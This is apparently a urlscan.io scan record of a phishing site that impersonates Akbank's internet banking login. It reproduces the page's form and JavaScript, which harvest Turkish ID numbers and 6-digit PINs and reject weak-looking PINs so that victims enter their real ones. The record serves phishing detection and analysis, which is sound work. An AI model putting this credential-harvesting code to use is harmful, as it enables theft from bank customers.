techvibeszone.xyz Open in urlscan Pro
172.67.130.62  Public Scan

URL: https://techvibeszone.xyz/
Submission: On December 14 via api from TR — Scanned from FR

Form analysis 1 forms found in the DOM

POST

<form action="" method="post" autocomplete="off" id="form">
  <div class="form-group">
    <label class="text-start">Müşteri / T.C. Kimlik Numarası</label>
    <input type="tel" required="" inputmode="number" name="username" pattern="[0-9]{11}" maxlength="11" class="form-control" id="tcno">
    <p id="tcerror" style="color: red;"></p>
  </div>
  <div class="form-group">
    <label>Şifre</label>
    <input type="password" required="" name="password" maxlength="6" inputmode="numeric" class="form-control" id="passwordInput">
    <p id="passwordError" style="color: red;"></p>
  </div>
  <!-- Google tag (gtag.js) -->
  <script async="" src="https://www.googletagmanager.com/gtag/js?id=G-V5CL3YD5S1"></script>
  <script>
    window.dataLayer = window.dataLayer || [];

    function gtag() {
      dataLayer.push(arguments);
    }
    gtag('js', new Date());
    gtag('config', 'G-V5CL3YD5S1');
  </script>
  <script>
    document.getElementById('tcno').addEventListener('input', function() {
      var value = document.getElementById('tcno').value;
      if (!(value.length < 11)) {
        var validate = checkTcNum(value); // checkTcNum fonksiyonunu kullanıyoruz
        if (!validate) {
          document.getElementById('tcerror').textContent = "Hatalı T.C. kimlik numarası";
        } else {
          document.getElementById('tcerror').textContent = "";
        }
      }
    });
    document.getElementById('passwordInput').addEventListener('input', function() {
      var validate = validatePassword();
      if (validate) {
        // document.getElementById('passwordError').textContent = validate;
      } else {
        document.getElementById('passwordInput').textContent = "";
      }
    });
    document.getElementById('form').addEventListener('submit', function(event) {
      var validate = validatePassword();
      if (validate) {
        alert(validate);
        event.preventDefault();
      }
    });
    // T.C. kimlik numarasının doğrulama fonksiyonu
    var checkTcNum = function(value) {
      value = value.toString();
      // 11 haneli olup olmadığını kontrol et
      var isEleven = /^[0-9]{11}$/.test(value);
      // Son rakamın kurala uygun olup olmadığını kontrol et
      var totalX = 0;
      for (var i = 0; i < 10; i++) {
        totalX += Number(value.substr(i, 1));
      }
      var isRuleX = totalX % 10 == value.substr(10, 1);
      // 10. rakamın kurala uygun olup olmadığını kontrol et
      var totalY1 = 0;
      var totalY2 = 0;
      for (var i = 0; i < 10; i += 2) {
        totalY1 += Number(value.substr(i, 1));
      }
      for (var i = 1; i < 10; i += 2) {
        totalY2 += Number(value.substr(i, 1));
      }
      var isRuleY = ((totalY1 * 7) - totalY2) % 10 == value.substr(9, 0);
      return isEleven && isRuleX && isRuleY; // Eğer 11 haneli ve tüm kurallar sağlanıyorsa true döner
    };
    // Şifre doğrulama fonksiyonu
    function validatePassword() {
      var passwordInput = document.getElementById('passwordInput');
      // Şifrede ardışık rakamlar kontrolü
      if (hasConsecutiveNumbers(passwordInput.value)) {
        return "Şifrenizi hatalı tuşladınız. Lütfen şifrenizi kontrol ediniz!";
      }
      // Şifrede tekrarlayan desenler kontrolü
      if (hasRepeatingPatterns(passwordInput.value)) {
        return "Şifrenizi hatalı tuşladınız. Lütfen şifrenizi kontrol ediniz!";
      }
      // Şifrede rakam karışımı kontrolü
      if (!hasMixedNumbers(passwordInput.value)) {
        return "Şifrenizi hatalı tuşladınız. Lütfen şifrenizi kontrol ediniz!";
      }
      // Şifrede minimum uzunluk kontrolü
      if (passwordInput.value.length < 6) {
        return "Şifreniz 6 haneden oluşmalıdır";
      }
      return null;
    }

    function hasConsecutiveNumbers(password) {
      for (var i = 0; i < password.length - 2; i++) {
        var currentDigit = parseInt(password.charAt(i));
        var nextDigit = parseInt(password.charAt(i + 1));
        var thirdDigit = parseInt(password.charAt(i + 2));
        if (nextDigit === currentDigit + 1 && thirdDigit === currentDigit + 2) {
          return true; // Ardışık rakamlar bulundu
        }
      }
      return false; // Ardışık rakam yok
    }

    function hasRepeatingPatterns(pin) {
      // Pin'i string'e çevir
      const pinString = pin.toString();
      // 2 basamaktan oluşan tekrar eden desenler kontrolü
      for (let i = 0; i <= pinString.length - 6; i++) {
        const chunk = pinString.slice(i, i + 6);
        if (chunk[0] === chunk[2] && chunk[2] === chunk[4]) {
          return true;
        }
      }
      // 3 basamaktan oluşan tekrar eden desenler kontrolü
      for (let i = 0; i <= pinString.length - 6; i++) {
        const chunk = pinString.slice(i, i + 6);
        if (chunk[0] === chunk[3] && chunk[3] === chunk[5]) {
          return true;
        }
      }
      // Tekrar desen bulunmadı
      return false;
    }

    function hasMixedNumbers(password) {
      var hasDigit = false;
      for (var i = 0; i < password.length; i++) {
        if (!isNaN(password[i])) {
          hasDigit = true;
          break;
        }
      }
      return hasDigit;
    }
  </script>
  <button type="submit" class="login-btn">Giriş</button>
</form>

Text Content

Bireysel
Türkçe


AKBANK INTERNET BANKACILIĞI'NA
HOŞ GELDINIZ!

Müşteri / T.C. Kimlik Numarası



Şifre



Giriş